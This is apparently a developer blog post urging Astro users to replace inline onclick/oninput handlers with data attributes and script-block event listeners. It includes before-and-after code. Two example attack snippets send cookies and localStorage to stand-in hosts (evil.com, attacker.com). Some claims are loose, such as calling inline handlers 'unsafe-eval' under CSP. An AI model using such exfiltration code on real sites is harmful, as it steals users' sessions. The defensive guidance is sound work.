The Problem You Probably Don’t Know You Have

While I was resolving an issue with a pop-up window, I stumbled onto a critical security vulnerability hiding in plain sight: inline event handlers scattered throughout my Astro components. After reviewing the Astro documentation I found out that they recommend NOT using inline event handlers (a carry over from my React/Vue experience).

<!-- ❌ VULNERABLE -->
<button onclick="openPolicyModal('terms')">Terms of Service</button>
<button onclick="toggleFaq(this)">Show Answer</button>
<input oninput="filterAll()" placeholder="Search..." />

If you’re using Astro and have onclick, oninput, onchange, or any other inline event handlers in your templates, you have the same problem.

Why This Is a Security Risk

1. CSP Violation (Content Security Policy)

Modern browsers enforce Content Security Policy (CSP) to prevent code injection attacks. CSP blocks inline event handlers by default because they’re functionally equivalent to eval():

// These are essentially the same to CSP:
onclick="alert('hello')"          // ❌ Blocked as unsafe-eval
eval("alert('hello')")             // ❌ Blocked as unsafe-eval
new Function("alert('hello')")()   // ❌ Blocked as unsafe-eval

When CSP is enabled (which it should be), your buttons and inputs simply won’t work. Users click and nothing happens.

2. XSS (Cross-Site Scripting) Vulnerability

Even if CSP isn’t explicitly configured, inline handlers are vulnerable to DOM-based XSS attacks:

<!-- If post.title comes from user input... -->
<button onclick="openModal('{post.title}')">
  {post.title}
</button>

<!-- An attacker could inject: -->
<!-- <button onclick="openModal(''); fetch('http://evil.com/?cookie=' + document.cookie); //') -->
<!-- Now your user's session token is stolen -->

The attacker doesn’t need to break into your server—they just need to inject malicious data that gets rendered in your templates.

3. Third-Party Script Injection

If a dependency becomes compromised or your npm supply chain is attacked, malicious code could:

// Attacker-controlled code in a package could do this:
document.querySelectorAll('[onclick]').forEach(el => {
  el.onclick = () => fetch('https://attacker.com/steal', {
    body: JSON.stringify({
      cookies: document.cookie,
      localStorage: localStorage,
      sessionData: getSessionData()
    })
  });
});

With proper event listeners in <script> blocks, this attack surface is dramatically reduced.

The Attack Surface in Your Astro Site

Let me show you exactly what I fixed on my site. If you have similar patterns, you’re vulnerable:

Policy Modals:

<!-- ❌ Before -->
<a href="#" onclick="openPolicyModal('terms'); return false;">
  Terms of Service
</a>

<!-- ✅ After -->
<a href="#" class="policy-link" data-policy="terms">
  Terms of Service
</a>

<script>
  document.querySelectorAll('.policy-link').forEach(link => {
    link.addEventListener('click', (e) => {
      e.preventDefault();
      const policyType = e.target.getAttribute('data-policy');
      if (window.openPolicyModal && policyType) {
        window.openPolicyModal(policyType);
      }
    });
  });
</script>

FAQ Toggles:

<!-- ❌ Before -->
<button onclick="toggleFaq(this)">
  Show Answer <span>+</span>
</button>

<!-- ✅ After -->
<button class="faq-question">
  Show Answer <span>+</span>
</button>

<script>
  document.querySelectorAll('.faq-question').forEach(button => {
    button.addEventListener('click', function() {
      const faqItem = this.closest('.faq-item');
      faqItem.classList.toggle('active');
      // ... toggle logic
    });
  });
</script>

Filter Buttons:

<!-- ❌ Before -->
<button onclick="filterProjects('active', this)">
  🟢 Active
</button>

<!-- ✅ After -->
<button class="filter-btn" data-filter="active">
  🟢 Active
</button>

<script>
  document.querySelectorAll('.filter-btn').forEach(btn => {
    btn.addEventListener('click', function() {
      const filter = this.getAttribute('data-filter');
      // ... filtering logic
    });
  });
</script>

Search Input:

<!-- ❌ Before -->
<input oninput="filterAll()" placeholder="Search..." />

<!-- ✅ After -->
<input class="search-input" placeholder="Search..." />

<script>
  const searchInput = document.querySelector('.search-input');
  if (searchInput) {
    searchInput.addEventListener('input', () => {
      filterAll();
    });
  }
</script>

The Real-World Impact

I found 7 different pages with inline handlers:

  • /shop - Policy modals and interest list signup
  • /work-with-me - FAQ toggles
  • /portfolio - Project filters
  • /resources - Category filters and search
  • /blog - Post filters
  • / (home) - FAQ toggles
  • /404 - Search functionality

That’s 30+ vulnerable event handlers that could be exploited.

How to Fix Your Astro Site

Step 1: Audit Your Code

Search your project for these patterns:

# Find all inline event handlers
grep -r 'on\(click\|change\|input\|submit\|load\)=' src/

Or use VS Code’s find:

  • on(click|change|input|submit)= (regex)

Step 2: Remove Inline Handlers

Replace every onclick="..." with a data-* attribute:

<!-- ❌ BEFORE -->
<button onclick="doSomething(argument)">Click</button>

<!-- ✅ AFTER -->
<button class="my-button" data-action="something" data-arg="argument">
  Click
</button>

Step 3: Add Event Listeners in Script Blocks

<script>
  document.querySelectorAll('.my-button').forEach(button => {
    button.addEventListener('click', function() {
      const action = this.getAttribute('data-action');
      const arg = this.getAttribute('data-arg');
      
      if (action === 'something') {
        doSomething(arg);
      }
    });
  });
</script>

Step 4: Handle TypeScript/Context Issues

In Astro, you might need to handle this context properly:

<script>
  document.querySelectorAll('.my-button').forEach((button: any) => {
    button.addEventListener('click', function(this: any) {
      // Now 'this' refers to the button element
      const action = this.getAttribute('data-action');
      // ...
    });
  });
</script>

Best Practices Going Forward

1. Never Use Inline Handlers

Make it a rule in your project: zero inline event handlers.

2. Use Data Attributes for Parameters

<!-- ✅ Good -->
<button data-id="123" data-type="user">Delete</button>

<!-- ❌ Avoid -->
<button onclick="deleteUser(123, 'user')">Delete</button>

3. Scope Event Listeners to Components

Use document.currentScript?.parentElement in Astro components:

<script>
  const container = document.currentScript?.parentElement;
  const buttons = container?.querySelectorAll('.my-button');
  buttons?.forEach(btn => {
    btn.addEventListener('click', handleClick);
  });
</script>

This prevents your event listeners from affecting other components.

4. Consider Content Security Policy Headers

Add CSP headers to your deployment configuration:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

This will break inline handlers if they somehow sneak into your codebase.

5. Validate User Input

If event handlers receive any user-controlled data:

const filter = this.getAttribute('data-filter');

// Validate against expected values
const validFilters = ['all', 'active', 'inactive'];
if (!validFilters.includes(filter)) {
  console.error('Invalid filter:', filter);
  return;
}

The Bottom Line

Inline event handlers in Astro are:

  • ❌ CSP violations that break your site with proper security policies
  • ❌ XSS attack vectors that expose user data
  • ❌ Hard to maintain and prone to security issues
  • ❌ Anti-pattern in modern web development

Proper event listeners are:

  • ✅ CSP compliant and future-proof
  • ✅ Resistant to XSS attacks
  • ✅ Easier to maintain and test
  • ✅ Industry standard best practice

If you’re building an Astro site, audit your code today. This is exactly the kind of vulnerability that doesn’t get exploited until someone decides to target your site specifically.

References


Have you found inline handlers in your Astro projects? Let me know in the comments how many you’ve eliminated!